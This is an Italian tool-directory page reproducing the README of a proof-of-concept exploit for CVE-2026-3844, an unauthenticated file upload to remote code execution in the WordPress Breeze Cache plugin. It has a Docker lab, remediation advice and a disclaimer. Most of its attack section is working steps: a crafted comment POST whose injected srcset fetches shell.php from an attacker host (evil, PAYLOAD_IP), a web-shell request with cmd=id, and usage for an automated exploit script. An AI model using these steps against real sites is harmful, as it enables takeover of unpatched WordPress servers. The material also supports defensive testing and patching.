Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-3844 — Proof-of-concept exploit per CVE-2026-3844, un upload arbitrario di file non autenticato che porta all'esecuzione remota di codice in Breeze Cache <= 2.4.4. Include laboratorio Docker e script di exploit automatizzato. | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2026-3844
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubdinosn/cve-2026-3844

CVE-2026-3844

Proof-of-concept exploit per CVE-2026-3844, un upload arbitrario di file non autenticato che porta all'esecuzione remota di codice in Breeze Cache <= 2.4.4. Include laboratorio Docker e script di exploit automatizzato.

Vedi Repository
5114 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-3844 — Breeze Cache <= 2.4.4 Caricamento Arbitrario di File Non Autenticato fino a RCE

Panoramica

CampoValore
CVECVE-2026-3844
CVSS9.8 Critico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Caricamento senza Restrizioni di File con Tipo Pericoloso
PluginBreeze Cache di Cloudways
Versioni AffetteTutte le versioni fino alla 2.4.4 inclusa
Corretta2.4.5 (changeset 3511463)
InstallazioniOltre 400.000 installazioni WordPress attive
Scoperta daHung Nguyen (bashu)
Divulgata2026-04-23

Vulnerabilità

La funzione fetch_gravatar_from_remote() in inc/class-breeze-cache-cronjobs.php scarica URL remoti e li salva in una directory accessibile dal web utilizzando il nome file e l'estensione originali dell'URL. Non c'è validazione del tipo MIME, nessuna whitelist di estensioni e nessuna ispezione del contenuto.

Quando l'impostazione "Host Files Locally - Gravatars" è abilitata, il plugin si aggancia al filtro get_avatar di WordPress tramite breeze_replace_gravatar_image(). Questa funzione usa una regex per estrarre gli URL dagli attributi srcset e src nell'HTML dell'avatar. Un attaccante può iniettare un attributo srcset dannoso pubblicando un commento con un nome autore modificato, facendo sì che il plugin scarichi e metta in cache un file PHP arbitrario.

Codice Vulnerabile

Codice vulnerabile in fetch_gravatar_from_remote()

Cosa manca:

  • Nessun controllo che il contenuto scaricato sia un'immagine (validazione MIME)
  • Nessuna restrizione sulle estensioni dei file (.php, .phtml, .phar tutti accettati)
  • Nessuna ispezione del content-type della risposta HTTP
  • La directory di destinazione è accessibile dal web e consente l'esecuzione di PHP

Flusso dell'Attacco

root@kitploit:~
Attaccante                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Commento salvato
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  Il filtro get_avatar scatta
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    estrae l'URL srcset tramite regex
   |                                        |    chiama fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         Contenuto del file PHP         |
   |         -----------------------------> |
   |                                        |  Salvato in:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP viene eseguito come www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Precondizioni

  1. Il plugin Breeze versione <= 2.4.4 deve essere installato e attivo
  2. "Host Files Locally - Gravatars" deve essere abilitato (disattivato di default, in Impostazioni > Breeze > Avanzate)
  3. I commenti WordPress devono essere aperti su almeno un post
  4. Il server del payload dell'attaccante deve essere raggiungibile dal server WordPress

Configurazione del Laboratorio Docker

Questo PoC include un ambiente Docker autonomo con:

  • WordPress 6.5 + Breeze 2.4.4 (vulnerabile, con hosting gravatar abilitato)
  • MariaDB 10.11
  • Un server HTTP Python che ospita il payload del PoC

Prerequisiti

  • Docker e Docker Compose
  • Python 3.8+ con requests (pip install requests)

1. Avvia il Laboratorio

root@kitploit:~
cd docker/
docker compose up -d --build

Attendi ~30 secondi per l'inizializzazione di WordPress. Verifica:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Atteso: Stable tag: 2.4.4

2. Verifica le Precondizioni

Versione Breeze 2.4.4 confermata

Commenti aperti, hosting gravatar abilitato

La configurazione Docker automaticamente:

  • Abilita "Host Files Locally - Gravatars" (breeze-store-gravatars-locally: 1)
  • Apre i commenti sui post
  • Disabilita la moderazione dei commenti (per uno sfruttamento immediato)

Sfruttamento

Passaggi Manuali

Passo 1 — Pubblica il Commento Dannoso

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Sostituisci PAYLOAD_IP con l'IP del container del payload:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Risposta attesa: reindirizzamento HTTP 302 alla pagina del post.

POST del commento dannoso

Passo 2 — Attiva il Rendering dell'Avatar

Visita la pagina del post per far sì che WordPress renderizzi l'avatar del commento, che attiva il filtro get_avatar di Breeze e scarica il payload:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

L'HTML renderizzato mostra che Breeze ha estratto lo srcset iniettato e ha messo in cache il payload:

Il rendering dell'avatar attiva il recupero del payload

Passo 3 — Verifica il File su Disco

Il payload PHP viene scritto letteralmente, di proprietà di www-data:

shell.php su disco di proprietà di www-data

Passo 4 — Conferma la RCE

RCE confermata — id, whoami, uname, /etc/passwd

Script di Sfruttamento Automatico

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Output dello script di sfruttamento automatico

Opzioni dello Script

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      URL del target WordPress (obbligatorio)
  -p, --payload     URL del payload PHP da caricare
  --post-id         ID specifico del post su cui commentare
  --timeout         Timeout HTTP in secondi (default: 15)
  --wait            Secondi di attesa per il cron (default: 12)
  --check-only      Controlla solo la versione del plugin, non sfruttare

Smontaggio

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

Rimedio

  1. Aggiorna Breeze alla versione 2.4.5 o successiva
  2. Soluzione alternativa (se non puoi applicare la patch): Disabilita "Host Files Locally - Gravatars" nelle impostazioni di Breeze
  3. Indurimento: Aggiungi a .htaccess in wp-content/cache/breeze-extra/gravatars/:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

Struttura dei File

root@kitploit:~
cve-2026-3844/
  README.md              # Questo file
  docker/
    Dockerfile           # Immagine WordPress + Breeze 2.4.4
    docker-compose.yml   # Laboratorio completo (WP + MariaDB + server payload)
    entrypoint-custom.sh # Auto-configura WP con impostazioni vulnerabili
  poc/
    exploit.py           # Script di sfruttamento PoC automatico
    validate.sh          # Harness di validazione Docker end-to-end
  payloads/
    shell.php            # Payload PoC innocuo (echo + id)
  screenshots/           # Screenshot terminale SVG (Charm freeze)
  validation/            # Output di validazione della sfruttabilità RAPTOR

Riferimenti

  • NVD — CVE-2026-3844
  • Avviso Wordfence
  • Changeset della Patch WordPress 3511463
  • Sorgente Vulnerabile (tag 2.4.1)

Disclaimer

Questa proof-of-concept è fornita esclusivamente per test di sicurezza autorizzati, istruzione e ricerca difensiva. L'uso non autorizzato contro sistemi che non possiedi o per cui non hai esplicito permesso di testare è illegale.

Scarica lo strumento